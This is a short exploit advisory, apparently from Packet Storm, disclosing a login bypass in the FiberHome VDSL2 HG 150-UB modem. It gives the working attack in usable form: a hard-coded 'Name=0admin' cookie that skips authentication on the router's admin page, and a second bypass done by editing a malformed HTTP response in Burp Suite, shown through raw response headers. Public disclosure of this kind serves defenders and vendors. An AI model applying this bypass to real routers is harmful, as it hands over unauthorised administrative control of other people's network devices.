FiberHome VDSL2 Modem HG 150-UB Login Bypass

🗓️ 04 Apr 2018 00:00:00Reported by Noman RiffatType

packetstorm🔗 packetstormsecurity.com👁 134 Views

FiberHome VDSL2 Modem HG 150-UB Login Bypass vulnerability in plain text & hard coded cooki

`# Exploit Title: FiberHome VDSL2 Modem HG 150-UB Login Bypass  
# Date: 04/03/2018  
# Exploit Author: Noman Riffat  
# Vendor Homepage: http://www.fiberhome.com/  
  
The vulnerability exists in plain text & hard coded cookie. Using any  
cookie manager extension, an attacker can bypass login page by setting  
the following Master Cookie.  
  
Cookie: Name=0admin  
  
Then access the homepage which will no longer require  
authentication.http://192.168.10.1/  
  
Due to improper session implementation, there is another way to bypass  
login. The response header of homepage without authentication looks  
like this.  
  
HTTP/1.1 200 Ok  
Server: micro_httpd  
Cache-Control: no-cache  
Date: Tue, 03 Apr 2018 18:33:12 GMT  
Set-Cookie: Name=; path=/  
Content-Type: text/html  
Connection: close  
  
<html><head><script language='javascript'>  
parent.location='login.html'  
</script></head><body></body></html>HTTP/1.1 200 Ok  
Server: micro_httpd  
Cache-Control: no-cache  
Date: Tue, 03 Apr 2018 18:33:12 GMT  
Content-Type: text/html  
Connection: close  
  
<html>  
<head>  
.. continue to actual homepage source  
  
The response header looks totally messed up and by triggering burp  
suite and modifying it to following will grant access to homepage  
without authentication.  
  
HTTP/1.1 200 Ok  
Server: micro_httpd  
Cache-Control: no-cache  
Date: Tue, 03 Apr 2018 18:33:12 GMT  
Set-Cookie: Name=; path=/  
Content-Type: text/html  
Connection: close  
  
<html>  
<head>  
.. continue to actual homepage source  
`

04 Apr 2018 00:00Current

7.1High risk

Vulners AI Score7.1